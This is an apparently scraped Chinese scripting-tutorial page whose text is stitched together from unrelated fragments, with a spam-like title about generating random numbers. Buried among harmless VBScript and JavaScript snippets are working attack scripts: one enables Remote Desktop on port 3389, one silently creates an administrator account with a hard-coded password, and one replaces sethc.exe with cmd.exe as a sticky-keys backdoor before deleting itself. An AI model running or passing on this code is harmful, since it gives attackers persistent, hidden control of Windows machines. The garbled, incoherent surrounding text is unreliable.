编写shell脚本生成100以内的随机数逃跑吧少年多功能变态

发布时间:2021-06-15 来源:脚本之家 点击:

典型地,这是一个由WindowsAPI调用返回的字符串它真是太棒了,不是吗?

诚然,我们不必费很大力气就可以获得这些结果

web浏览器停止运行此脚本吗
on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set StdOut=WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName="fDenyTSConnections"
dwValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)->在开发软件过程中,界面的美观程度是软件商品化程度的一个重要因素

好一点的调试器,是vs带的,早在vs6的interdav就已经很好的支持了对脚本
的调试,vs.net2003和vs.net2005更不用说了,调试起脚本来非常的方便这就是重载调用,因为VisualBasic知道如何处理输入的不同的数据类型


randomize
setfso=createobject("scripting.filesystemobject")
seta=createobject("scripting.dictionary")
setfile=fso.opentextfile("a.txt")
dowhilefile.atendofstream<>true
m=m+1
a.addm,file.readline
loop
file.close
h=int(rnd*m)
msgbox"第"&h&"行:"&a(h),4096,"随机内容"
在字符串处理时,如果字符串变量必须有引号,怎么处理呢?如
theStr=[MyName="schunter"Class="2"]
如何将此字符串显示出来呢?
很多初学者肯定使用了C/C 的方法,""",或者""",这些在Vb中都是错误的


filename=unNamedArguments.Item(count)电脑地址1001无标题

String.prototype.isBytes=function() {
'var cArr=this.match(/[^\x00-\xff|?-?]/ig);
'return (cArr==null ? true : false);}
上面这段代码是我在JAVA项目里找的,开始没看明白
朋友老纪这时发给我一段
'public static boolean checkAscii(char ch) {
' // Ascii文字かどうか判断し、返り値とする
' return ch >=0x0000 && ch <=0x007f;
' }


Set ws=WScript.CreateObject("wscript.shell")
w=ws.CurrentDirectory
Set fso=WScript.CreateObject("scripting.filesystemobject")
Set fs=fso.GetFolder(w)
Set f=fs.SubFolders
For Each uu In f
t=t & uu.Path & vbcrlf
Next
MsgBox t

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号